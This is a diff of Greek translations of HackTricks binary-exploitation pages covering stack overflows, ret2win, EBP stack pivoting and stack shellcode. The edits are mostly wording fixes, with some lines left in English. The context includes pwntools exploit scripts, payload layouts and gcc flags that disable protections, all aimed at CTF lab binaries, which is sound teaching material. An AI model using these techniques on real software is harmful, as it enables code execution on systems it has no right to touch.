-- Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
+- SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/README.md

@@ -4,13 +4,13 @@
 
 ## Τι είναι το Stack Overflow
 
-Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, στην αναστάτωση της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
+Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν γειτονικό χώρο μνήμης**, οδηγώντας σε διαφθορά έγκυρων δεδομένων, διαταραχή ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
 
 Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
 
-Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως είναι σε θέση να επικαλύψει άλλα μέρη του stack.
+Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως μπορεί να επικαλύψει άλλα μέρη του stack.
 
-Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο. 
+Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρηθέν. 
 
 Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
 ```c
@@ -27,7 +27,7 @@ printf("You entered: %s\n", buffer);
 
 Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους \_n**\_\*\* εμφανίζεται ακριβώς μία φορά\*\* ως συνεχής υποακολουθία.
 
-Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύπτουν.
+Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να το επικαλύψουν.
 
 Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό:
 ```python
@@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
 ## Εκμετάλλευση Στοίβας Υπερχείλισης
 
 Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\
-Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη.
+Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου έχει καθορίσει ο χρήστης** σε αυτόν τον δείκτη.
 
-Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
+Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλυπτική κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
 
 ### Ret2win
 
-Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέφει, η κρυφή συνάρτηση θα κληθεί:
+Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
 
 {{#ref}}
 ret2win/

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -4,11 +4,11 @@
 
 ## Basic Information
 
-Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε ένα δεδομένο δυαδικό αρχείο για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στο δυαδικό, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
+Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία σε διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε μια δεδομένη δυαδική μορφή για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στη δυαδική μορφή, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
 
 ### C Example
 
-Σκεφτείτε ένα απλό πρόγραμμα C με μια ευπάθεια και μια συνάρτηση `win` που σκοπεύουμε να καλέσουμε:
+Consider a simple C program with a vulnerability and a `win` function that we intend to call:
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -27,7 +27,7 @@ vulnerable_function();
 return 0;
 }
 ```
-Για να μεταγλωττίσετε αυτό το πρόγραμμα χωρίς προστασίες στο στοίβασμα και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
+Για να μεταγλωττίσετε αυτό το πρόγραμμα χωρίς προστασίες στο stack και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
@@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει.
 - `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`.
 
-### Python Exploit χρησιμοποιώντας Pwntools
+### Python Exploit using Pwntools
 
 Για την εκμετάλλευση, θα χρησιμοποιήσουμε **pwntools**, ένα ισχυρό πλαίσιο CTF για τη συγγραφή εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα payload για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης `win`.
 ```python
@@ -59,7 +59,7 @@ payload = b'A' * 68 + win_addr
 p.sendline(payload)
 p.interactive()
 ```
-Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, μπορείτε να χρησιμοποιήσετε:
+Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, θα μπορούσατε να χρησιμοποιήσετε:
 ```sh
 objdump -d vulnerable | grep win
 ```
@@ -69,8 +69,8 @@ objdump -d vulnerable | grep win
 
 ## Προστασίες
 
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Αντικατάσταση** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Υπεργραφή** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
 
 ## Άλλα παραδείγματα & Αναφορές
 
@@ -86,15 +86,15 @@ objdump -d vulnerable | grep win
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
-- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win
+- 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
-- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win
+- 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win
 - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
 - Το πρόγραμμα επικυρώνει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατό να προσθέσετε οποιοδήποτε μέγεθος όσο το τελευταίο byte είναι εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win.
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 bit, relro, χωρίς canary, nx, pie. Μερική αντικατάσταση για να καλέσει τη συνάρτηση win (ret2win)
+- 64 bit, relro, χωρίς canary, nx, pie. Μερική υπερχείλιση για να καλέσει τη συνάρτηση win (ret2win)
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-- arm64, PIE, δίνει μια διαρροή PIE η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις οπότε ROP gadget που καλεί 2 συναρτήσεις
+- arm64, PIE, δίνει μια διαρροή PIE, η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις, οπότε ROP gadget που καλεί 2 συναρτήσεις
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
 - ARM64, off-by-one για να καλέσει μια συνάρτηση win
 

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -12,14 +12,14 @@ mov       ebp, esp
 pop       ebp
 ret
 ```
-Και καθώς το **EBP είναι στη στοίβα** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα.
+And as the **EBP είναι στο stack** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας το stack.
 
 ### EBP2Ret
 
-Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το μητρώο EBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το μητρώο EIP**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.
+Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το EBP register αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP register**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.
 
-Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτήν την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
-Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτήν όπου θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
+Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στο stack που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτή την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
+Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτή που θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
 
 #### Κατασκευή Εκμετάλλευσης
 
@@ -27,25 +27,25 @@ ret
 
 Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Μπορείτε να χρησιμοποιήσετε:
 
-- Μια έγκυρη διεύθυνση [**ONE_GADGET**](https://github.com/david942j/one_gadget).
+- Μια έγκυρη [**ONE_GADGET**](https://github.com/david942j/one_gadget) διεύθυνση.
 - Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits).
 - Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί.
-- Μερική [**ROP**](../rop-return-oriented-programing/) αλυσίδα.
+- Μερική [**ROP**](../rop-return-oriented-programing/index.html) αλυσίδα.
 
 Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να εκμεταλλευτείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση.
 
-#### Εκμετάλλευση Off-By-One
+#### Off-By-One Εκμετάλλευση
 
-Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του EBP**. Σε αυτήν την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\
+Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Εκμετάλλευση". Χρησιμοποιείται όταν μπορείτε να **τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση για να πηδήξει με το **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\
 Συνήθως τροποποιείται το byte 0x00 για να πηδήξει όσο το δυνατόν πιο μακριά.
 
-Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στη στοίβα και να τοποθετείται η πραγματική αλυσίδα ROP στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική αλυσίδα ROP εκτελείται.
+Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στο stack και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική ROP αλυσίδα εκτελείται.
 
 ### **EBP Chaining**
 
-Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` της στοίβας και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από τη στοίβα**.
+Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` του stack και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από το stack**.
 
-Τώρα, το **`ESP`** ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα `RET`. Για να το εκμεταλλευτείτε αυτό, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
+Τώρα, το **`ESP`** είναι ελεγχόμενο δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή προς εκτέλεση είναι ένα `RET`. Για να το εκμεταλλευτείτε αυτό, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
 
 - **`&(next fake EBP)`** -> Φορτώστε το νέο EBP λόγω του `pop ebp` από την εντολή `leave`
 - **`system()`** -> Καλείται από το `ret`
@@ -54,9 +54,9 @@ ret
 
 Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
 
-Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/), αλλά πιο περίπλοκο χωρίς προφανές όφελος, αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις. 
+Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο χωρίς προφανές όφελος αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.
 
-Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτήν την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
+Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **stack leak** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
 ```python
 from pwn import *
 
@@ -92,12 +92,12 @@ pause()
 p.sendline(payload)
 print(p.recvline())
 ```
-## EBP ίσως να μην χρησιμοποιείται
+## EBP μπορεί να μην χρησιμοποιείται
 
-Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις, το **EBP ποτέ δεν ελέγχει το ESP**, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά γιατί δεν έχει καμία πραγματική επίδραση.\
-Αυτό συμβαίνει επειδή οι **προλόγοι και οι επιλόγοι αλλάζουν** αν το δυαδικό αρχείο είναι βελτιστοποιημένο.
+As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
+This is because the **prologue and epilogue changes** if the binary is optimized.
 
-- **Μη βελτιστοποιημένο:**
+- **Not optimized:**
 ```bash
 push   %ebp         # save ebp
 mov    %esp,%ebp    # set new ebp
@@ -215,7 +215,7 @@ ret
 > [!CAUTION]
 > Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο μητρώο του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από το stack και έχουμε μια υπερχείλιση) και στη συνέχεια **να εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **μητρώο `x30`** από ένα **ελεγχόμενο `SP`** και **`RET`** σε αυτό.
 
-Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του **Ret2esp στο ARM64**:
+Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδυναμία του **Ret2esp στο ARM64**:
 
 {{#ref}}
 ../rop-return-oriented-programing/ret2esp-ret2reg.md

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -8,7 +8,7 @@
 
 ### C Example: A Vulnerable Program
 
-Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος C:
+Let's start with a simple example of a vulnerable C program:
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -35,7 +35,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας.
 - `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα.
 - `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
-- `-m32`: Συγκεντρώνει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
+- `-m32`: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
 
 ### Python Exploit using Pwntools
 
@@ -66,15 +66,15 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στη NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
+Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στην NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
 
-Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στη NOP slide.
